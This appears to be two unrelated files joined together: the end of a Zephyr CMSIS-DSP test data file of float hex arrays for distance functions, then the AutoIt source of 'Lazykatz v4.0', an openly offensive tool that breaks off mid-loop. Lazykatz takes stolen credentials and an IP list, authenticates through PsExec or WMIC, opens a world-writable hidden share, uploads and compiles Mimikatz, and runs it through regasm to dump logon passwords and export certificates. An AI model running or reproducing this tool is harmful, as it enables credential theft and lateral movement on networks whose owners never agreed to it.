0x3deb674d, 0x3fb6d332, 0xbf1a62cf, 0xbe302dce,
0xbf61b12f, 0xbec45a13, 0xbf91db74, 0x4001e805,
0xbf1ad7ed, 0x3f85ee7d, 0xbecd849f, 0xbd916f28,
0x3b234d9a, 0xbf13b80d, 0x3ec37b72, 0xbe6692f5,
0xbecae3b4, 0xc023262c, 0x3d3c4346, 0xbf1a3394,
0x3f6d52aa, 0xbe01e1e2, 0xbf9821ec, 0x3f55e59c,
0xbf028d2c, 0xbedcfefe, 0xbf5420de, 0xbf22de89,
0x3e2dd23b, 0x3e414b5e, 0xbf770966, 0xbf1d4804,
0xbea67106, 0xbf357bc1, 0xbeb46cde, 0x3ede8096,
0x3efa88a0, 0x3f249806, 0x3edda908, 0x3ec7fae7,
0x3f53cc23, 0xbfad4f52, 0x3e82d01e, 0x401004a1,
0xbf52f8b3, 0x3f1ad370, 0xbcb1bd83, 0xbf4cd701,
0xbf128b38, 0x3f65322a, 0x3f3f0e80, 0xbec433eb,
0x3eaf5a02, 0x3ecb0a93, 0x3f0a289f, 0x3fbfc0c4,
0xbf0ece80, 0x3f1b1511, 0xbf9f2101, 0x3f854af7,
0x3dc5832a, 0xbf45eeca, 0x3fd7afca, 0xc06093fc,
0xbeff388c, 0xbf2921d2, 0xbdc06414, 0x3f48a498,
0xbf919906, 0xbf71d70f, 0x3f3d0ca1, 0xbfb35f0f,
0x3edb7ddb, 0x3f9e58c5, 0xbe914c0a, 0x3f3ae660,
0xbe7fcd6d, 0x3e4eaeec, 0xbe4c1390, 0xbf56fe83,
0xbf5052d4, 0xbe610faa, 0x3f9bc3ce, 0x3f6edf8a,
0x3fe9380c, 0x3eea3d19, 0xbef1b176, 0x3f870f77,
0x3feb681c, 0xbfba9455, 0x3f9b35d2, 0xbe9963c7,
0x3e655050, 0xbcf95e59, 0x3f7e31b2, 0x3f8db3d2,
0x3f637a25, 0xbe50774f
};
static const uint32_t in_jen1[350] = {
0x3c40954a, 0x3cc0b259, 0x3c7fa847, 0x3d6a4d51,
0x3d14cb90, 0x3d0a8a17, 0x3ceaf5ad, 0x3a7e2cff,
0x3bc6398e, 0x3d157de6, 0x3c7703bf, 0x3c75f934,
0x3d2e5476, 0x3baa0083, 0x3a3322b7, 0x3c8a0b3a,
0x3cbbe880, 0x3c309026, 0x3d651b20, 0x3d8d1f0e,
0x3be1f1f9, 0x3c9513cf, 0x3d8cee84, 0x3d5c8f74,
0x3ca88698, 0x3db647ac, 0x3d163745, 0x3d1ada80,
0x3c1db9b7, 0x3cbffe95, 0x3d475ff1, 0x3ca8f258,
0x3a0e58e3, 0x3d553c53, 0x3c113b3a, 0x3c09576f,
0x39d40a42, 0x3d4a542f, 0x3d4b3479, 0x3c6e9284,
0x3a19280e, 0x3d04b0a1, 0x3c884f6f, 0x3c8e7cc7,
0x3d59705e, 0x3c1d12ca, 0x3c95fcdd, 0x3d1abb17,
0x3c18f73e, 0x3cc90475, 0x3d0470b6, 0x3ce703e0,
0x3bc95c3c, 0x3d62edd6, 0x3cb45ede, 0x3c81e723,
0x3cd638cc, 0x3a1ff54f, 0x3c95b2c6, 0x3d2082ff,
0x3d6597a0, 0x3cd7ab78, 0x3d53e8a0, 0x3abf8cfc,
0x3d98179c, 0x3d097957, 0x3c83332a, 0x3d63e859,
0x3cc7cad4, 0x3d985070, 0x3ca907d1, 0x3cfd5ff6,
0x3a077fa8, 0x3d09225e, 0x3d54e40c, 0x3ccfc69f,
0x3d15cafb, 0x3b74b77c, 0x3d0d1132, 0x3cc1237e,
0x3d4eebc3, 0x3b8d6815, 0x3d2edd8a, 0x3bf43c0d,
0x3d05795c, 0x3d92c4e1, 0x3c1342ba, 0x3d2eee6b,
0x3c7089f2, 0x3d072d8e, 0x3b5e24ff, 0x3c31dc12,
0x3d168117, 0x3cb43332, 0x3caebfb8, 0x3b789d5a,
0x3c82599e, 0x3d503e8f, 0x3bfde2a8, 0x3d828ca5,
0x3d8fae77, 0x3cc9030e, 0x3c772f51, 0x3d85e2e0,
0x3c98d866, 0x3c94c78f, 0x3d2d45a5, 0x3c8ba257,
0x3cb0614f, 0x3d635df4, 0x3cb54d7e, 0x3d3da3be,
0x3c9f56ed, 0x3ceed253, 0x3d559fe0, 0x3d19f13a,
0x3c767bd7, 0x3d678ae5, 0x3c30645a, 0x3c899b6a,
0x3caefaad, 0x3c9e53ba, 0x3c4a2ea5, 0x3cc0ba99,
0x3ce35976, 0x3cae6e10, 0x3b2b726c, 0x3d5da278,
0x3d3be430, 0x3d16fdb2, 0x3d8c0a42, 0x3c181a25,
0x3cc307ac, 0x3b0749a4, 0x3d619b8b, 0x3c083939,
0x3cb97728, 0x3a3f1270, 0x3d6895cc, 0x3ce07705,
0x3cf5c7e2, 0x3cb8abaf, 0x3cf0c311, 0x3d08e224,
0x3cc499fa, 0x3cbadf81, 0x3cb740f9, 0x3cd4b502,
0x3bd8d6ae, 0x3d1d46c4, 0x3c3ecbaf, 0x3d22da9c,
0x3ad3c4d9, 0x3b95cfe5, 0x3bccb7e9, 0x3ce85c9b,
0x3d2ca21a, 0x3d19c29a, 0x3c864279, 0x3cc23b84,
0x3d0d6b82, 0x3d0ec534, 0x3d437d7b, 0x3ccc31c3,
0x3b7248e0, 0x3cc9857a, 0x3c962550, 0x3d8862f6,
0x3d8f0b25, 0x3dcd6d19, 0x3d026459, 0x3c566337,
0x3c35822c, 0x3c9a5d59, 0x3d0416c4, 0x3d3b9630,
0x3cd588ed, 0x3c8e407f, 0x3ca588c7, 0x3acd2588,
0x3d13b9cb, 0x3d7255e3, 0x3d63b377, 0x3d3d6e72,
0x3b38c774, 0x3d31c3bb, 0x3c9badcf, 0x3caed616,
0x3d6d3672, 0x3caaa715, 0x3d58780e, 0x3ce3df9d,
0x3bac330d, 0x3d02be6a, 0x3c735148, 0x3cd8804d,
0x3c79b20d, 0x3d223051, 0x3d128b6f, 0x3c93efd8,
0x3cf5a9ad, 0x3d7bb9c0, 0x3cf8fcf9, 0x3afc134b,
0x3d166c18, 0x3be0d11a, 0x3d558713, 0x3bf54a2b,
0x3b830b12, 0x3ce445bd, 0x3d7eed8e, 0x3cac61e5,
0x3c7c4490, 0x3c3aea74, 0x3d5b94a4, 0x3c7dd45c,
0x3d56b5f1, 0x3d5ff05a, 0x3d5000fc, 0x3d1b9ce2,
0x3b393af8, 0x3c16d6f4, 0x3d594680, 0x3c5fe6a9,
0x3cbebc2b, 0x3c6b5b45, 0x39ffed2d, 0x3c4fde15,
0x3bb17fc3, 0x3cf57030, 0x3ceec40f, 0x3d17a873,
0x3d641888, 0x3bc0476d, 0x3aa3f231, 0x3cd1fad9,
0x3d8708dd, 0x3c0d4458, 0x3c994cbe, 0x3d2f57f5,
0x3d4872af, 0x3d23edab, 0x3cd7175e, 0x3d558696,
0x3b00d3a4, 0x3d639ec0, 0x3aa5028a, 0x3bc408c6,
0x3c76db83, 0x3d13437d, 0x3c88b65d, 0x3ce87732,
0x3c45c350, 0x3d2ed8f9, 0x3cb47ad5, 0x3d99aa7e,
0x3b9b31dc, 0x3c04e8cd, 0x3ccb1051, 0x3d63dff2,
0x3d237233, 0x3cdeaf97, 0x3d66cca7, 0x3d232d70,
0x3d88f706, 0x3cdfd126, 0x3d33c6cb, 0x3d69ce60,
0x3d26c13e, 0x3c71db2e, 0x3c2fad87, 0x3c487c11,
0x3ce56279, 0x3c5d9c22, 0x3c9888a6, 0x3c3fccd7,
0x3b5a5f0e, 0x3c5b694c, 0x3c00b79a, 0x3d8068f6,
0x3cc99510, 0x3ba6585e, 0x3d88bf15, 0x3d1f0c81,
0x3d4c9f07, 0x3cc1b81d, 0x3d2c1efb, 0x3d8532c7,
0x3cea3ee3, 0x3c99461c, 0x3c8761da, 0x3db38b98,
0x3ae59666, 0x3d02e182, 0x3caebea2, 0x3d5f813f,
0x3a89211b, 0x3ca34e20, 0x3b97da2b, 0x3d343f18,
0x3aafe0e2, 0x3d474185, 0x3caa0f65, 0x3c71c304,
0x3cc25587, 0x3c818e97, 0x3d2c5044, 0x3d5cd007,
0x3d0f7615, 0x3cae117b, 0x3d25187d, 0x3cf54158,
0x39e97776, 0x3b896573, 0x3a972b5a, 0x3d7f4dde,
0x3b921294, 0x3cc5f956, 0x3c0d262a, 0x3a706c41,
0x3c934dee, 0x3d922431, 0x3d30f852, 0x3c6e08fc,
0x3d30582f, 0x3d56d705, 0x3bacc305, 0x3d993d68,
0x3db638cf, 0x3b0fe07a, 0x3c3b7ecc, 0x3ade5d19,
0x3d16e720, 0x3d04c978, 0x3cd46dd4, 0x3b93ff0d,
0x3c949852, 0x3d52ac77, 0x3b5dbf99, 0x3c9adea3,
0x3d781178, 0x3d0efec5, 0x3d7b1cc0, 0x3c50dcf4,
0x3d354582, 0x3be6c79c, 0x3b6638f3, 0x3c97e984,
0x3cfa09ab, 0x3bf771a3
};
static const uint32_t in_jen2[350] = {
0x3b9b5177, 0x3d878724, 0x3cdefc29, 0x3d7f6890,
0x3cdf003c, 0x3cff9097, 0x3c546330, 0x3cf95836,
0x3c35de77, 0x3ca2b599, 0x3d729a5a, 0x3bb06730,
0x3af2d1ea, 0x3c645c8f, 0x3cb316e3, 0x3cb1dffe,
0x3d1d044d, 0x3cbf637d, 0x3d06df50, 0x3c508849,
0x3cb629d0, 0x3dd18368, 0x3d022930, 0x3d0adce0,
0x38652ebd, 0x3d904d83, 0x3c8de13f, 0x3baaacc4,
0x3d6ce7bf, 0x3c3f20b5, 0x3c0bd404, 0x3c328d5f,
0x3cbd6988, 0x3d78a2d2, 0x3c9eba56, 0x3d7210da,
0x3c580d82, 0x3c6589e0, 0x3c7437db, 0x3c0bed10,
0x3c11c9a1, 0x3c2e1a20, 0x3c82b137, 0x3d25e39c,
0x3c442b24, 0x3d4c9207, 0x3c81d6d7, 0x3d17ae90,
0x3bb5eb0e, 0x3c95b32f, 0x3d40f1a6, 0x3cac6c2f,
0x3c0aa07d, 0x3d5d9fc5, 0x3cd901bc, 0x3cc01800,
0x3d567ab6, 0x3d121040, 0x3cb987b3, 0x3d3c7330,
0x3cad3dd0, 0x3ce77dad, 0x3d213f4e, 0x3da055bb,
0x3ba42714, 0x3bd12f02, 0x3c9c573f, 0x3cfebaeb,
0x3d302291, 0x3d888fde, 0x3b8d6e4a, 0x3cb619e7,
0x3d5f682d, 0x3c40c7d0, 0x3cb76465, 0x3cf02770,
0x3b242f8c, 0x3c5e477a, 0x3cd6c824, 0x3d1acc99,
0x3c9d9b4e, 0x38cc3194, 0x3d4e5776, 0x3b340096,
0x3d1c58de, 0x39d999ac, 0x3da94bff, 0x3dae42cf,
0x3ca2012b, 0x3d336eab, 0x3d858d50, 0x3c127d93,
0x3d239931, 0x3ca84cbd, 0x3d30e385, 0x3cc69f06,
0x3c9df0e0, 0x3c62ee30, 0x3b710c0d, 0x3d33c4fc,
0x3c5a1196, 0x3a4ad46f, 0x3dbacc7e, 0x3b11365a,
0x3d2ee919, 0x3d686f22, 0x3d5d9b3e, 0x3cd8f311,
0x3cc889cb, 0x3ce2c774, 0x3c01213a, 0x3c4a213a,
0x3cda2106, 0x3cd81ba5, 0x3cbe828f, 0x3cdde08b,
0x3c4a5d2e, 0x3ca0aa11, 0x3dd9a06d, 0x3d1a6be7,
0x3d2559aa, 0x3d19554f, 0x3c9ed4e2, 0x3c89289a,
0x3c119ba5, 0x3c2c2837, 0x3d1f4513, 0x3991e949,
0x3d514ee4, 0x3c81cdb6, 0x3d0d6c73, 0x3cd1ca38,
0x3c838846, 0x3c800e4e, 0x3d3d2d71, 0x3d6f7205,
0x3a9f3bea, 0x3c3c7f56, 0x3ce45cfb, 0x3d0d580f,
0x3d36beb2, 0x3d279515, 0x3c75c14b, 0x3d3e70e2,
0x3c4d1d5e, 0x3cc8662a, 0x3c82c426, 0x3d6074f5,
0x3c1ca6aa, 0x3ce9c83c, 0x3b5be9e9, 0x3b965165,
0x3d814d87, 0x3cded2c9, 0x3ba3a352, 0x3d140c26,
0x3d90ed1f, 0x3d961d7f, 0x3c2a4bdd, 0x3d4497e8,
0x3d1110d5, 0x3c8dc1b8, 0x3d02ebb5, 0x3c835594,
0x3bfdca40, 0x3cf1fa6b, 0x3d1e6cb9, 0x3b2ada3d,
0x3a485ff8, 0x3d2a34d8, 0x3b72f3b5, 0x3d761286,
0x3ce90550, 0x3d0a771e, 0x3c9065e8, 0x3dbdaaff,
0x3cac3962, 0x3dc6f01d, 0x3b954c86, 0x3cd093ee,
0x3d78d2d0, 0x3b301caa, 0x3bf121e1, 0x3a662970,
0x3bcb1150, 0x3ba021e8, 0x38a63b14, 0x3b739994,
0x3c83264c, 0x3c8a54e2, 0x3d1edc09, 0x3bb3b39f,
0x3c41096e, 0x3c6a1e36, 0x3c2b9842, 0x3d58aa57,
0x3cd060a5, 0x3cd98129, 0x3d455471, 0x3da45e60,
0x3c6429da, 0x3b99cf7d, 0x3c7b34f5, 0x3db0d374,
0x3caa2199, 0x3d40ef83, 0x3daae50b, 0x3b932195,
0x3c2e014d, 0x3d1f6100, 0x3d07f41d, 0x3c83e97f,
0x3d5fb5ba, 0x3c25a53d, 0x3ddf9888, 0x3cf3d936,
0x3b62f0fc, 0x3cc264cb, 0x3d188d8f, 0x3c8973ee,
0x3c9debe6, 0x3b9b3ea7, 0x3d04cac8, 0x3d2f1351,
0x3cc0f6fa, 0x3d055752, 0x3d9496cc, 0x3ce80306,
0x3cadf102, 0x3d31a46b, 0x3bbaac8a, 0x3cd0695e,
0x3caca97c, 0x3d231113, 0x3d93eacf, 0x39efeb8d,
0x3bbf74c2, 0x3c9e4716, 0x3cce4456, 0x3d05855e,
0x3d0986c1, 0x3be77f44, 0x3c253b47, 0x3c489557,
0x3d0d0cb9, 0x3bedc420, 0x3af1c561, 0x3cd64b25,
0x3ca08090, 0x3c809c18, 0x3d8c5259, 0x3d8ffdb2,
0x3b9b92ee, 0x3d71a6c8, 0x3ccc0fd3, 0x3be8ddf1,
0x3d1527e7, 0x3c81c3f2, 0x3d40c9f2, 0x3dabb49c,
0x3cccaaa0, 0x3d3106a6, 0x3c87d2bc, 0x3b403acd,
0x38d7d923, 0x3cc33fe4, 0x3c8130d0, 0x3c1861da,
0x3c861603, 0x3dd7a506, 0x3af8d6c7, 0x3ccbd166,
0x3d1cd7aa, 0x3babac80, 0x3d491551, 0x3d0d5c51,
0x3cac8ee7, 0x3c920d65, 0x3d0c311c, 0x3cd74655,
0x3be77a72, 0x3c00b496, 0x3d247d64, 0x3cd173ba,
0x3c5da695, 0x3cf1ae9d, 0x3c7045df, 0x3c94274e,
0x3ca6d17b, 0x3cdb30b0, 0x3c9397c7, 0x3c852837,
0x3d0d0692, 0x3d66cc1c, 0x3c2e343e, 0x3dbfca15,
0x3d0c79c9, 0x3cce2ea6, 0x3a6cb286, 0x3d08649a,
0x3cc32725, 0x3d189c4b, 0x3cfe6e48, 0x3c82a459,
0x3c69842d, 0x3c873206, 0x3cb7fc84, 0x3d7f5bae,
0x3cbe2d14, 0x3cce860c, 0x3d53e99b, 0x3d3181ab,
0x3b838392, 0x3d03cb3b, 0x3d8f9d87, 0x3df63f5e,
0x3c8bec6d, 0x3cb9739d, 0x3b52f466, 0x3cdc00c0,
0x3d1fa57c, 0x3d04966b, 0x3ccf4a67, 0x3d44adc7,
0x3c70ab99, 0x3d2da026, 0x3c1f5113, 0x3cccef0f,
0x3c0c3e0c, 0x3be2a048, 0x3bdfc487, 0x3cebbd2a,
0x3ce46cb4, 0x3bf6c6fb, 0x3d2acb69, 0x3d02f604,
0x3d7fb8df, 0x3c806b8e, 0x3c8481ce, 0x3d1417a5,
0x3d810f7d, 0x3d4c951a, 0x3d2a2fba, 0x3c2830b7,
0x3bfb70ad, 0x3a88b70c, 0x3d0b5c51, 0x3d1b6011,
0x3cf96d24, 0x3be494b4
};
static const uint16_t in_dims[2] = {
0x000A, 0x0023
};
static const uint16_t in_dims_minkowski[12] = {
0x000A, 0x0023, 0x0004, 0x0003, 0x0004, 0x0004, 0x0004, 0x0003,
0x0003, 0x0004, 0x0002, 0x0002
};
static const uint32_t ref_braycurtis[10] = {
0x3f63b5fe, 0x3f97046e, 0x3f9ae03d, 0x3fb2e7d5,
0x3f80e323, 0x3f9097aa, 0x3f9a1384, 0x3fa5821d,
0x3fc4c259, 0x3f472400
};
static const uint32_t ref_canberra[10] = {
0x41b6b3ba, 0x41c35cc3, 0x41e32de8, 0x41ddf82e,
0x41c35c3b, 0x41d4a263, 0x41db0f15, 0x41d61028,
0x41e0b123, 0x41b5f5cd
};
static const uint32_t ref_chebyshev[10] = {
0x4081e7d9, 0x40664a86, 0x40580451, 0x4077b3b3,
0x406968db, 0x4068fd5a, 0x408c5a9a, 0x40600926,
0x406cb003, 0x40393285
};
static const uint32_t ref_cityblock[10] = {
0x42060ce8, 0x4216c069, 0x42255efd, 0x424c075b,
0x421233c7, 0x422e4d4d, 0x4230be1c, 0x4225cc97,
0x42221761, 0x4207c3e2
};
static const uint32_t ref_correlation[10] = {
0x3f859d74, 0x3f93ab9c, 0x3f99520d, 0x3fa68679,
0x3f7fd83f, 0x3f9274ed, 0x3f96aa4e, 0x3fa3da2d,
0x3fa8963d, 0x3f396ace
};
static const uint32_t ref_cosine[10] = {
0x3f83fb69, 0x3f97fbf0, 0x3f9811c1, 0x3fa74a37,
0x3f7f4cad, 0x3f93b41b, 0x3f9d3fc0, 0x3fa14530,
0x3fa44e0c, 0x3f3aa672
};
static const uint32_t ref_euclidean[10] = {
0x40fe1085, 0x41022835, 0x410afb8c, 0x41283333,
0x40f62da6, 0x41138fd8, 0x4111ee65, 0x4109d81f,
0x4106942b, 0x40ee64a9
};
static const uint32_t ref_jensenshannon[10] = {
0x3eb676e9, 0x3eaf894a, 0x3ed4d17d, 0x3eae2504,
0x3eb079f8, 0x3ed571f9, 0x3ecc3cf1, 0x3ec9ce0f,
0x3ea248ae, 0x3ea9e5c8
};
static const uint32_t ref_minkowski[10] = {
0x409aa2ab, 0x40a8b1be, 0x40902d52, 0x40ab7998,
0x4085ef55, 0x40bd95cd, 0x40bc1b1c, 0x408f8efb,
0x4106942b, 0x40ee64a9
};
| Max | 1 | maxvankessel/zephyr | tests/lib/cmsis_dsp/distance/src/f32.pat | [
"Apache-2.0"
] |
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Res_Description=Lazykatz v4.0
#AutoIt3Wrapper_Res_Fileversion=4.0.0.0
#AutoIt3Wrapper_Res_requestedExecutionLevel=requireAdministrator
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <File.au3>
#include <GUIConstants.au3>
#include <GUIConstantsEx.au3>
#include <GuiEdit.au3>
#include <GuiStatusBar.au3>
#include <WindowsConstants.au3>
;Local $iReturn = RunWait(@ComSpec & " /C " & 'powershell.exe -exec bypass -nop -command "import-module c:\Powerview.ps1;Get-NetDomainController" > b2.txt',"",@SW_HIDE,0x10000)
; PREPARING GUI
Global $dir = @WorkingDir
FileDelete(@TempDir & "\psexec.exe")
FileInstall("PsExec.exe", @TempDir & "\psexec.exe")
FileInstall("katz.cs", @TempDir & "\katz.cs")
$Form1 = GUICreate("Lazykatz v4.0", 700, 448, 192, 125)
GUICtrlCreateLabel("*** LAZYKATZ LOG ***", 490, 40, 150, 25)
Global $idEdit = GUICtrlCreateedit("", 430, 60, 250, 350)
GUICtrlCreateLabel("Username", 80, 40, 90, 25)
GUICtrlCreateLabel("Password", 80, 100, 90, 25)
GUICtrlCreateLabel("Choose IP list", 80, 155, 90, 25)
GUICtrlCreateLabel("Choose Method", 80, 215, 90, 25)
GUICtrlCreateLabel("Choose Attack", 80, 265, 90, 25)
Global $USER1 = GUICtrlCreateInput("", 180, 40, 90, 25)
Global $PASS1 = GUICtrlCreateInput("", 180, 100, 90, 25,0x0020)
$Button1 = GUICtrlCreateButton("Browse", 180, 150, 81, 25)
$run = GUICtrlCreateButton("Start",120, 320, 120, 25)
$radio1 = GUICtrlCreateRadio("PsExec",180, 210, 50, 25)
$radio2 = GUICtrlCreateRadio("WMIC",300, 210, 50, 25)
$check1 = GUICtrlCreateCheckbox("Logon passwords",180, 260, 100, 25)
$check2 = GUICtrlCreateCheckbox("Export certs",300, 260, 100, 25)
Global $log = ""
GUISetState(@SW_SHOW)
While 1
$msg = GuiGetMsg()
Select
Case $msg = $GUI_EVENT_CLOSE
ExitLoop
Case $msg = $Button1
Global $list = FileOpenDialog("Select the IP list", @WorkingDir, "text (*.txt)", 1 + 4 )
$log = "Selected the IP list"&@CRLF&@CRLF&$list&@CRLF
_GUICtrlEdit_SetText($idEdit, $log)
_GUICtrlEdit_LineScroll($idEdit, 0, _GUICtrlEdit_GetLineCount($idEdit))
Case $msg = $radio1
Global $method = "psexec"
case $msg = $radio2
Global $method = "wmic"
Case $msg = $run
Global $user = GUICtrlRead($USER1)
Global $pass = GUICtrlRead($PASS1)
attack()
Case Else
;;;;;;;
EndSelect
WEnd
Func _IsChecked($idControlID)
Return BitAND(GUICtrlRead($idControlID), $GUI_CHECKED) = $GUI_CHECKED
EndFunc ;==>_IsChecked
; ATTACK FUNTION
Func attack()
FileChangeDir(@TempDir)
FileOpen($list, 0)
FileDelete("output.txt")
For $j = 1 to _FileCountLines($list)
$ip = FileReadLine($list, $j)
Sleep(1000)
$log = "Targetting - "&$ip&@CRLF&@CRLF
_GUICtrlEdit_SetText($idEdit, $log)
_GUICtrlEdit_LineScroll($idEdit, 0, _GUICtrlEdit_GetLineCount($idEdit))
global $status = 1
;VALIDATING CREDENTIALS
if $method = "psexec" Then
logprint("Validating credentials using PsExec" & @CRLF)
RunWait(@ComSpec & " /C " & "net use \\"&$ip&"\c$ /delete /Y","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "net use \\"&$ip&"\c$ /u:"&$user&" "&$pass&" > output.txt 2>&1","",@SW_HIDE,0x10000)
EndIf
if $method = "wmic" Then
logprint("Validating credentials using WMIC" & @CRLF)
RunWait(@ComSpec & " /C " & 'wmic /node:'&$ip&' /user:'&$user&' /password:'&$pass &' os get status 2>&1 | findstr /R /I /C:".*" > output.txt',"",@SW_HIDE,0x10000)
EndIf
;----------------------------------------------
local $file = "output.txt"
FileOpen($file, 0)
For $i = 1 to _FileCountLines($file)
$line = FileReadLine($file, $i)
;MsgBox("","",$line)
if StringInStr($line, "error") Then
Sleep(1000)
logprint("Error connecting - "&$ip & @CRLF)
global $status = 0
EndIf
Next
FileClose($file)
if not $status = 0 Then
logprint("Credentials are valid" & @CRLF)
;UPLOAD/COPY ATTACK FILES ON TARGET AND IDENTIFY OS TYPE
if $method = "psexec" Then
logprint("Uploading files on target using PsExec" & @CRLF)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\katz.cs","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "copy /Y katz.cs \\"&$ip&"\c$\windows\temp\","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "psexec.exe /accepteula \\"&$ip&" -u "&$user&" -p "&$pass&' -s -h systeminfo | find /I "System Type:" > os.txt',"",@SW_HIDE,0x10000)
EndIf
if $method = "wmic" Then
While Not FileExists("\\"&$ip&"\test$")
logprint("Preparing for temporary remote share" & @CRLF)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo @echo off > c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo setlocal enabledelayedexpansion >> c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo set b=z1 >> c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo for /f \"tokens=3\" %%a in ('&"'help pushd') do ( >> c:\windows\temp\test.bat"&'"',"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo set b=%%a>> c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo net share test$=c:\windows\temp /grant:everyone!b:~4!full >> c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c echo ) >> c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
logprint("Enabling temporary remote share" & @CRLF)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c c:\windows\temp\test.bat"',"",@SW_HIDE,0x10000)
sleep (10000)
RunWait(@ComSpec & " /C " & "net use \\"&$ip&"\test$ /delete /Y","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "net use \\"&$ip&"\test$ /u:"&$user&" "&$pass&"","",@SW_HIDE,0x10000)
WEnd
logprint("Uploading files on remote share using WMIC" & @CRLF)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\katz.cs","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "copy /Y katz.cs \\"&$ip&"\test$\","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & 'wmic /node:'&$ip&' /user:'&$user&' /password:'&$pass &' os get osarchitecture > os.txt 2>&1',"",@SW_HIDE,0x10000)
;RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' share call create "","","",lazykatz,"","c:\windows\temp\lazy",0',"",@SW_HIDE,0x10000)
EndIf
;--------------------------------------------------------
local $osfile = "os.txt"
FileOpen($osfile, 0)
For $i = 1 to _FileCountLines($osfile)
$line = FileReadLine($osfile, $i)
if StringInStr($line, "86") Then
global $os = ""
Else
global $os = "64"
EndIf
;MsgBox("","",$os)
Next
FileClose($osfile)
logprint("Identified "&$os&"bit OS" & @CRLF)
; IDENTIFY .NET FRAMEWORK
if $method = "psexec" Then
RunWait(@ComSpec & " /C " & "dir /L /A /B /S \\"&$ip&'\c$\windows\Microsoft.NET\Framework'&$os&'\ | find /I "regasm.exe" | find /I /V "regasm.exe.conf" | find /I /V "v1.1." > framework.txt',"",@SW_HIDE,0x10000)
Global $split = 8
EndIf
if $method = "wmic" Then
_FileCreate ("framework.txt")
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c dir /L /A /B /S c:\windows\Microsoft.NET\Framework'&$os&'\ | find \"regasm.exe\" | find /I /V \"regasm.exe.conf\" > c:\windows\temp\framework.txt"',"",@SW_HIDE,0x10000)
while FileGetSize("framework.txt") = 0
Sleep (1000)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\test$\framework.txt framework.txt","",@SW_HIDE,0x10000)
Global $split = 5
WEnd
EndIf
;--------------------------------------------
local $fwfile = "framework.txt"
FileOpen($fwfile, 0)
For $i = 1 to _FileCountLines($fwfile)
$line = FileReadLine($fwfile, $i)
global $fw = StringSplit($line, '\', $STR_ENTIRESPLIT)[$split]
;MsgBox("","",$fw)
ExitLoop
Next
FileClose($fwfile)
logprint("Will use .NET Firmware "&$fw&"" & @CRLF)
; GENERATING LAZY.BAT
if $fw Then
RunWait(@ComSpec & " /C " & "echo @echo off > lazy.bat","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "echo C:\Windows\Microsoft.NET\Framework"&$os&"\"&$fw&"\csc.exe /r:System.EnterpriseServices.dll /out:c:\windows\temp\mimi.exe /unsafe c:\windows\temp\katz.cs >> lazy.bat","",@SW_HIDE,0x10000)
if _IsChecked($check1) Then
RunWait(@ComSpec & " /C " & "echo C:\Windows\Microsoft.NET\Framework"&$os&"\"&$fw&'\regasm.exe c:\windows\temp\mimi.exe "log c:\windows\temp\mimikatz.log" "privilege::debug" "sekurlsa::logonPasswords full" "exit" >> lazy.bat',"",@SW_HIDE,0x10000)
EndIf
if _IsChecked($check2) Then
RunWait(@ComSpec & " /C " & "echo C:\Windows\Microsoft.NET\Framework"&$os&"\"&$fw&'\regasm.exe c:\windows\temp\mimi.exe "crypto::capi" "crypto::certificates /export" "exit" >> lazy.bat',"",@SW_HIDE,0x10000)
EndIf
;---------------------------------
;COPY LAZY.BAT ON TARGET
if $method = "psexec" Then
RunWait(@ComSpec & " /C " & "copy /Y lazy.bat \\"&$ip&"\c$\windows\temp\","",@SW_HIDE,0x10000)
EndIf
if $method = "wmic" Then
RunWait(@ComSpec & " /C " & "copy /Y lazy.bat \\"&$ip&"\test$\","",@SW_HIDE,0x10000)
EndIf
logprint("Uploaded lazy.bat on target" & @CRLF)
;---------------------------------
;EXECUTING LAZY.BAT ON TARGET
if $method = "psexec" Then
RunWait(@ComSpec & " /C " & "psexec.exe /accepteula \\"&$ip&" -u "&$user&" -p "&$pass&' -s -h c:\windows\temp\lazy.bat',"",@SW_HIDE,0x10000)
EndIf
if $method = "wmic" Then
While Not FileExists("\\"&$ip&"\test$\mimikatz.log")
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' process call create "cmd /c c:\windows\temp\lazy.bat"',"",@SW_HIDE,0x10000)
